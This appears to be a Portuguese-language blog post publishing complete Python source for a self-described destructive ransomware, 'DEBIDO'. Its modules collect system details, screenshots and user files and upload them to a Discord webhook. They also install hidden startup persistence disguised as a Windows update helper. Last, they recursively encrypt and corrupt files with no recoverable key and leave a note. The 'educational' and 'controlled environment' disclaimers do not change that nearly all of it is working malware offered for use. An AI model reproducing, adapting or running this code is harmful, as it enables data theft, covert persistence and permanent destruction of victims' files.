Blog Técnico

Ferramentas, scripts e experimentos

DEBIDO RANSOMWARE

Python Automation Networking

Neste post apresento uma malware do tipo Ransomware desenvolvido para ser totalmente maligno. A ideia do DEBIDO RANSOMWARE é que ele não tenha uma chave de descriptografia. Claro, algumas pessoas ignorantes vão achar que e pra usar para o mal. Eu explico claramente que é Para ser usado somente em AMBIENTES controlados e PoC's.

Estrutura do projeto

project/
├─ main.py
├─ grabbr_file.py
├─ persistence.py
├─ rans.py
└─ requirements.
 

Código-fonte

main.py

#!/usr/bin/env python3
# main.py

import sys
import os

# Garante que os módulos sejam encontrados
sys.path.append(os.path.dirname(os.path.abspath(__file__)))

def main():
    print("🔓 Captain Hook — Modo Educacional")
    print("⚠️  PARA USO EM AMBIENTES CONTROLADOS APENAS.\n")

    # 1. Coleta e envio (grabber)
    print("[1/3] Executando coleta de dados e arquivos...")
    from grabber_file import run_grabber
    if not run_grabber():
        print("❌ Falha na coleta. Abortando.")
        return

    # 2. Persistência
    print("\n[2/3] Configurando persistência...")
    from persistence import setup_persistence
    setup_persistence()

    # 3. Criptografia (só com confirmação)
    print("\n[3/3] Preparando criptografia destrutiva...")
    confirm = input("⚠️  Digite 'SIM' para CRIPTOGRAFAR e CORROMPER arquivos: ")
    if confirm != "SIM":
        print("⏹️  Operação cancelada.")
        return

    from rans import run_ransomware
    run_ransomware()

    print("\n✅ Processo concluído.")

if __name__ == "__main__":
    main()

grabber_file.py

# grabber_file.py

import os
import zipfile
import requests
import socket
import psutil
import platform
from datetime import datetime
from PIL import ImageGrab

DISCORD_WEBHOOK_URL = "HOOK"

EXTENSOES_ALVO = {
    '.txt', '.doc', '.docx', '.pdf', '.xls', '.xlsx', '.ppt', '.pptx',
    '.jpg', '.jpeg', '.png', '.gif', '.mp4', '.mp3', '.wav', '.zip', '.rar',
    'py', '.js', '.html', '.css', '.json', '.csv', '.sql', '.db', '.sqlite',
    '.rtf', '.odt', '.ods', '.epub', '.mobi', '.log', '.ini', '.cfg', '.yml'
}


def coletar_info_sistema():
    hostname = socket.gethostname()
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s.connect(("8.8.8.8", 80))
        ip_local = s.getsockname()[0]
        s.close()
    except:
        ip_local = "N/A"

    try:
        response = requests.get('https://api.ipify.org', timeout=10)
        ip_publico = response.text if response.status_code == 200 else "N/A"
    except:
        ip_publico = "N/A"

    try:
        if ip_publico != "N/A":
            resp = requests.get(f'http://ip-api.com/json/{ip_publico}', timeout=10)
            if resp.status_code == 200:
                data = resp.json()
                isp = data.get('isp', 'N/A')
                pais = data.get('countryCode', 'BR')
                regiao = data.get('regionName', 'São Paulo')
                cidade = data.get('city', 'Campinas')
                lat = data.get('lat', '-22.9056')
                lon = data.get('lon', '-47.0608')
                timezone = data.get('timezone', 'America/Sao_Paulo')
            else:
                isp = pais = regiao = cidade = lat = lon = timezone = "N/A"
        else:
            isp = pais = regiao = cidade = lat = lon = timezone = "N/A"
    except:
        isp = pais = regiao = cidade = lat = lon = timezone = "N/A"

    discos = []
    for partition in psutil.disk_partitions():
        try:
            usage = psutil.disk_usage(partition.mountpoint)
            discos.append({
                'disco': partition.device,
                'percentual': usage.percent,
                'livre': usage.free / (1024**3),
                'total': usage.total / (1024**3)
            })
        except:
            pass

    processos = []
    try:
        for proc in psutil.process_iter(['pid', 'name', 'cpu_percent']):
            try:
                p = proc.info
                if p['cpu_percent'] is not None:
                    processos.append(p)
            except (psutil.NoSuchProcess, psutil.AccessDenied):
                continue
        processos = sorted(processos, key=lambda x: x['cpu_percent'], reverse=True)[:5]
    except:
        processos = []

    cpu_percent = psutil.cpu_percent(interval=1)
    mem = psutil.virtual_memory()

    usuarios = []
    try:
        for user in psutil.users():
            usuarios.append({
                'nome': user.name,
                'inicio': datetime.fromtimestamp(user.started).strftime('%Y-%m-%d %H:%M')
            })
    except:
        usuarios = []

    return {
        "hostname": hostname,
        "ip_local": ip_local,
        "os": f"{platform.system()} {platform.release()}",
        "versao_os": platform.version(),
        "ip_publico": ip_publico,
        "isp": isp,
        "pais": pais,
        "regiao": regiao,
        "cidade": cidade,
        "lat": lat,
        "lon": lon,
        "timezone": timezone,
        "discos": discos,
        "processos": processos,
        "cpu_percent": cpu_percent,
        "memoria_percent": mem.percent,
        "memoria_total": mem.total / (1024**3),
        "memoria_usada": mem.used / (1024**3),
        "usuarios": usuarios,
        "timestamp": datetime.now().strftime("%d/%m/%Y %H:%M"),
        "data_completa": datetime.now().strftime("%d/%m/%Y, %H:%M")
    }


def capturar_screenshot():
    try:
        path = os.path.join(os.getcwd(), f"screenshot_{datetime.now().strftime('%Y%m%d_%H%M%S')}.png")
        ImageGrab.grab().save(path)
        return path
    except Exception as e:
        print(f"⚠️  Falha ao capturar screenshot: {e}")
        return None


def criar_zip_do_diretorio_atual():
    arquivos_para_zip = []
    for item in os.listdir("."):
        if os.path.isfile(item):
            ext = os.path.splitext(item)[1].lower()
            if ext in EXTENSOES_ALVO:
                arquivos_para_zip.append(item)

    if not arquivos_para_zip:
        return None

    zip_nome = f"backup_local_{datetime.now().strftime('%Y%m%d_%H%M%S')}.zip"
    try:
        with zipfile.ZipFile(zip_nome, 'w', zipfile.ZIP_DEFLATED) as zf:
            for arquivo in arquivos_para_zip:
                zf.write(arquivo, arquivo)
        return zip_nome
    except Exception as e:
        print(f"❌ Erro ao criar ZIP: {e}")
        return None


def formatar_mensagem_discord(system_info):
    fields = []

    # Campo 1: Sistema
    sistema_field = {
        "name": "⚙️ Sistema",
        "value": f"""OS: {system_info['os']} ({system_info['versao_os']})
IP Público: {system_info['ip_publico']}
ISP: {system_info['isp']}""",
        "inline": False
    }
    fields.append(sistema_field)

    # Campo 2: Disco
    discos_str = "\n".join([
        f"• {d['disco']}: {d['percentual']:.1f}% ({d['livre']:.1f} GB de {d['total']:.1f} GB)"
        for d in system_info['discos'][:2]
    ]) or "N/A"
    disco_field = {
        "name": "💾 Disco",
        "value": discos_str,
        "inline": False
    }
    fields.append(disco_field)

    # Campo 3: Processos (Top 5)
    processos_str = "\n".join([
        f"• {p['name'][:20]} ({p['cpu_percent']:.1f}%)"
        for p in system_info['processos'][:3]
    ]) if system_info['processos'] else "N/A"
    processos_field = {
        "name": "📊 Processos (Top 5)",
        "value": processos_str,
        "inline": False
    }
    fields.append(processos_field)

    # Campo 4: Geolocalização
    geoloc_str = f"""País: {system_info['pais']}
Região: {system_info['regiao']}
Cidade: {system_info['cidade']}
Coordenadas: {system_info['lat']}, {system_info['lon']} ([Maps](https://www.google.com/maps?q={system_info['lat']},{system_info['lon']}))
Fuso Horário: {system_info['timezone']}"""
    geoloc_field = {
        "name": "🌐 Geolocalização",
        "value": geoloc_str,
        "inline": False
    }
    fields.append(geoloc_field)

    # Campo 5: Hardware
    hardware_str = f"""CPU: {system_info['cpu_percent']:.1f}%
Memória: {system_info['memoria_percent']:.1f}% ({system_info['memoria_usada']:.1f} GB de {system_info['memoria_total']:.1f} GB)"""
    hardware_field = {
        "name": "🔧 Hardware",
        "value": hardware_str,
        "inline": False
    }
    fields.append(hardware_field)

    # Campo 6: Usuários Ativos
    usuarios_str = "\n".join([
        f"{u['nome']} desde {u['inicio']}"
        for u in system_info['usuarios']
    ]) if system_info['usuarios'] else "N/A"
    usuarios_field = {
        "name": "👥 Usuários Ativos",
        "value": usuarios_str,
        "inline": False
    }
    fields.append(usuarios_field)

    # Campo 7: Data
    data_str = f"{system_info['timestamp']} | Sistema Monitorado"
    data_field = {
        "name": "📅 Data",
        "value": data_str,
        "inline": False
    }
    fields.append(data_field)

    return fields


def enviar_para_discord(info, screenshot_path, zip_path):
    try:
        fields = formatar_mensagem_discord(info)

        embed = {
            "title": "🔍 Relatório de Sistema - Captain Hook",
            "color": 3447003,
            "thumbnail": {"url": "https://i.ibb.co/B5zPWK9k/banner.jpg"},
            "footer": {
                "text": "⚠️ EDUCATIONAL PURPOSES ONLY - SYSTEM MONITOR",
                "icon_url": "https://cdn-icons-png.flaticon.com/512/6001/6001368.png"
            },
            "timestamp": datetime.now().isoformat(),
            "fields": fields
        }

        data = {
            "embeds": [embed],
            "username": "Captain Hook System Monitor",
            "avatar_url": "https://cdn-icons-png.flaticon.com/512/6001/6001368.png"
        }

        files = {}
        if screenshot_path and os.path.exists(screenshot_path):
            files["screenshot"] = (os.path.basename(screenshot_path), open(screenshot_path, "rb"), "image/png")
        if zip_path and os.path.exists(zip_path):
            files["backup"] = (os.path.basename(zip_path), open(zip_path, "rb"), "application/zip")

        response = requests.post(DISCORD_WEBHOOK_URL, json=data, files=files or None, timeout=60)

        for f in files.values():
            f[1].close()

        return response.status_code in (200, 204)
    except Exception as e:
        print(f"❌ Erro no envio ao Discord: {e}")
        return False


def run_grabber():
    print("📊 Coletando informações do sistema...")
    info = coletar_info_sistema()
    if info["ip_local"] == "N/A":
        return False

    print("📸 Capturando screenshot...")
    screenshot = capturar_screenshot()

    print("📦 Compactando arquivos do diretório atual...")
    zip_file = criar_zip_do_diretorio_atual()

    print("📤 Enviando relatório completo + screenshot + backup ao Discord...")
    sucesso = enviar_para_discord(info, screenshot, zip_file)

    # Limpeza
    for f in [screenshot, zip_file]:
        if f and os.path.exists(f):
            try:
                os.remove(f)
            except:
                pass

    return sucesso

persistence.py

# persistence.py

import os
import sys
import shutil
import subprocess
import platform


def setup_persistence():
    if platform.system().lower() != "windows":
        return

    try:
        script_atual = os.path.abspath(sys.argv[0])
        nome_arq = os.path.basename(script_atual)
        temp_dir = os.path.expandvars("%TEMP%")
        destino = os.path.join(temp_dir, nome_arq)

        # Copia para %TEMP%
        if script_atual != destino:
            shutil.copy2(script_atual, destino)
            print(f"✅ Copiado para: {destino}")
        else:
            print("➡️  Já está em %TEMP%")

        # Cria atalho na inicialização
        startup = os.path.expandvars(r"%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup")
        atalho = os.path.join(startup, "WindowsUpdateHelper.lnk")

        ps = f'''
        $sh = New-Object -ComObject WScript.Shell
        $sc = $sh.CreateShortcut("{atalho}")
        $sc.TargetPath = "{destino}"
        $sc.WorkingDirectory = "{temp_dir}"
        $sc.WindowStyle = 7
        $sc.Description = "Windows Update Helper"
        $sc.Save()
        '''

        subprocess.run(
            ["powershell", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps],
            timeout=15,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL
        )
        print(f"✅ Atalho criado: {atalho}")

    except Exception as e:
        print(f"❌ Erro na persistência: {e}")

rans.py

# rans.py

import os
import struct
from Cryptodome.Cipher import AES
from Cryptodome.Random import get_random_bytes

EXT_FINAL = ".debido"

EXTENSOES_ALVO = {
    '.txt', '.doc', '.docx', '.pdf', '.xls', '.xlsx', '.ppt', '.pptx',
    '.jpg', '.jpeg', '.png', '.gif', '.mp4', '.mp3', '.wav', '.zip', '.rar',
    '.py', '.js', '.html', '.css', '.json', '.csv', '.sql', '.db', '.exe',
}

DIRETORIOS_PROIBIDOS = {
    'Windows', 'System32', 'Program Files', 'ProgramData',
    '$Recycle.Bin', 'System Volume Information', 'AppData'
}


def corrupt_data(data: bytes) -> bytes:
    if len(data) < 100:
        return get_random_bytes(len(data))
    arr = bytearray(data)
    for i in range(min(100, len(arr))):
        arr[i] = (arr[i] + 73) % 256
    mid = len(arr) // 2
    for i in range(mid, min(mid + 50, len(arr))):
        arr[i] ^= 0xFF
    for i in range(max(0, len(arr) - 100), len(arr)):
        arr[i] = (arr[i] * 7) % 256
    for _ in range(min(1000, len(arr) // 10)):
        pos = struct.unpack('I', os.urandom(4))[0] % len(arr)
        arr[pos] = os.urandom(1)[0]
    return bytes(arr)


def encrypt_and_corrupt(data: bytes) -> bytes:
    key = get_random_bytes(32)
    iv = get_random_bytes(16)
    cipher = AES.new(key, AES.MODE_GCM, iv)
    ct, tag = cipher.encrypt_and_digest(data)
    return corrupt_data(iv + tag + ct)


def destroy_file(path: str):
    try:
        with open(path, "rb") as f:
            data = f.read()
        corrupted = data
        for _ in range(5):
            corrupted = encrypt_and_corrupt(corrupted)
        with open(path, "wb") as f:
            f.write(corrupted)
        os.rename(path, path + EXT_FINAL)
        print(f"✅ Corrompido: {os.path.basename(path)}")
    except Exception as e:
        print(f"❌ Falha em {path}: {e}")


def percorrer_diretorio(diretorio="."):
    try:
        for item in os.listdir(diretorio):
            full = os.path.join(diretorio, item)
            if os.path.isfile(full):
                ext = os.path.splitext(item)[1].lower()
                if ext in EXTENSOES_ALVO and not item.endswith(EXT_FINAL):
                    destroy_file(full)
            elif os.path.isdir(full):
                nome = os.path.basename(full)
                if nome not in DIRETORIOS_PROIBIDOS and not nome.startswith('$'):
                    percorrer_diretorio(full)
    except (OSError, PermissionError):
        pass


def criar_aviso():
    with open("LEIA_ISSO.txt", "w", encoding="utf-8") as f:
        f.write(f"""
⚠️ SEUS ARQUIVOS FORAM DESTRUÍDOS ⚠️
Extensão: {EXT_FINAL}
Este é um exemplo EDUCACIONAL.
NÃO USE para atividades maliciosas.
""")


def run_ransomware():
    print("💀 Iniciando criptografia destrutiva...")
    percorrer_diretorio(".")
    criar_aviso()
    print("📄 Arquivo LEIA_ISSO.txt criado.")

requirements.txt

pycryptodomex==3.20.0
Pillow==10.4.0
psutil==6.0.0
requests==2.32.3